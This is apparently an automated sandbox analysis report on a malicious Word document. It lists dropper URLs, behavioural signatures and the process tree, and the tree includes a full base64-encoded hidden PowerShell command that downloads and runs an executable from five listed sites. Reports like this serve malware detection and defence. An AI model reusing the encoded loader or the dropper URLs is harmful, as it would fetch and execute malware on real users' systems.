Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
18-12-2019 18:33
Task
task1
Sample
5918d3a8e54c11877499a689b13606c989fd60c7bb1aeef67b9f2e69506a4f4b.doc
Resource
win10v191014
0 signatures
General
-
Target
5918d3a8e54c11877499a689b13606c989fd60c7bb1aeef67b9f2e69506a4f4b
-
Sample
191218-ebp1tbb4en
-
SHA256
5918d3a8e54c11877499a689b13606c989fd60c7bb1aeef67b9f2e69506a4f4b
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://moisesdavid.com/qoong/vy/
exe.dropper
http://insurancebabu.com/wp-admin/iXElcu9f/
exe.dropper
http://rishi99.com/framework.impossible/dhADGeie6/
exe.dropper
https://www.alertpage.net/confirmation/2nX/
exe.dropper
https://anttarc.org/chartaxd/DMBuiwf5u/
Signatures
-
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4632 1064 Powershell.exe 74 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4632 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4632 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4920 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4920 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4920 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5918d3a8e54c11877499a689b13606c989fd60c7bb1aeef67b9f2e69506a4f4b.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4920
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABCAHcAbABiAGoAagBtAGoAegB2AD0AJwBJAHQAbQBwAG0AcgBuAGgAbABsAHUAJwA7ACQAVgBpAGkAaQBnAHAAegBlAGUAcwB2ACAAPQAgACcAOAA3ADMAJwA7ACQATgBqAHMAdABiAGgAbAB1AG8APQAnAFUAcgBlAGEAZgB2AG4AdABzAHgAdwBuAG8AJwA7ACQASwBkAHEAZwBsAHcAYQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAGkAaQBpAGcAcAB6AGUAZQBzAHYAKwAnAC4AZQB4AGUAJwA7ACQASAByAHkAcABjAHAAdQBiAD0AJwBRAGYAdQBpAGYAbwBlAGQAJwA7ACQATQBrAHgAdABqAGkAYQByAHIAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAOwAkAFYAZwB4AHAAcgBhAG0AagBzAGIAPQAnAGgAdAB0AHAAOgAvAC8AbQBvAGkAcwBlAHMAZABhAHYAaQBkAC4AYwBvAG0ALwBxAG8AbwBuAGcALwB2AHkALwAqAGgAdAB0AHAAOgAvAC8AaQBuAHMAdQByAGEAbgBjAGUAYgBhAGIAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AaQBYAEUAbABjAHUAOQBmAC8AKgBoAHQAdABwADoALwAvAHIAaQBzAGgAaQA5ADkALgBjAG8AbQAvAGYAcgBhAG0AZQB3AG8AcgBrAC4AaQBtAHAAbwBzAHMAaQBiAGwAZQAvAGQAaABBAEQARwBlAGkAZQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBhAGwAZQByAHQAcABhAGcAZQAuAG4AZQB0AC8AYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4ALwAyAG4AWAAvACoAaAB0AHQAcABzADoALwAvAGEAbgB0AHQAYQByAGMALgBvAHIAZwAvAGMAaABhAHIAdABhAHgAZAAvAEQATQBCAHUAaQB3AGYANQB1AC8AJwAuACIAUwBQAGwAYABpAFQAIgAoACcAKgAnACkAOwAkAEEAaQBnAGYAcQBoAGQAcABrAHIAdwBlAD0AJwBaAHUAdwB6AGgAawBhAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAdQB6AGgAZABmAHEAbwBjAGoAdwB4ACAAaQBuACAAJABWAGcAeABwAHIAYQBtAGoAcwBiACkAewB0AHIAeQB7ACQATQBrAHgAdABqAGkAYQByAHIALgAiAEQAYABPAHcATgBgAGwATwBBAEQAZgBpAEwARQAiACgAJABDAHUAegBoAGQAZgBxAG8AYwBqAHcAeAAsACAAJABLAGQAcQBnAGwAdwBhAG8AKQA7ACQATwBwAHMAawBtAGoAcgBqAHkAYQBhAHoAbAA9ACcAVQBsAGUAcQBmAGcAbQBlAHQAagBrAHIAZgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEsAZABxAGcAbAB3AGEAbwApAC4AIgBsAGAARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADkANwA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgBUACIAKAAkAEsAZABxAGcAbAB3AGEAbwApADsAJABLAGEAaQByAGEAcABzAGMAYgB6AG0APQAnAFoAegBqAGUAYQBtAHoAdwAnADsAYgByAGUAYQBrADsAJABSAGIAbAB5AGIAYwByAGwAPQAnAEoAcQB6AGMAYQB5AGYAcwBjAHAAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAagBiAG4AZgBqAGYAdQA9ACcAUQBxAHAAcQByAGEAagBuAHoAawBzAGoAYQAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4632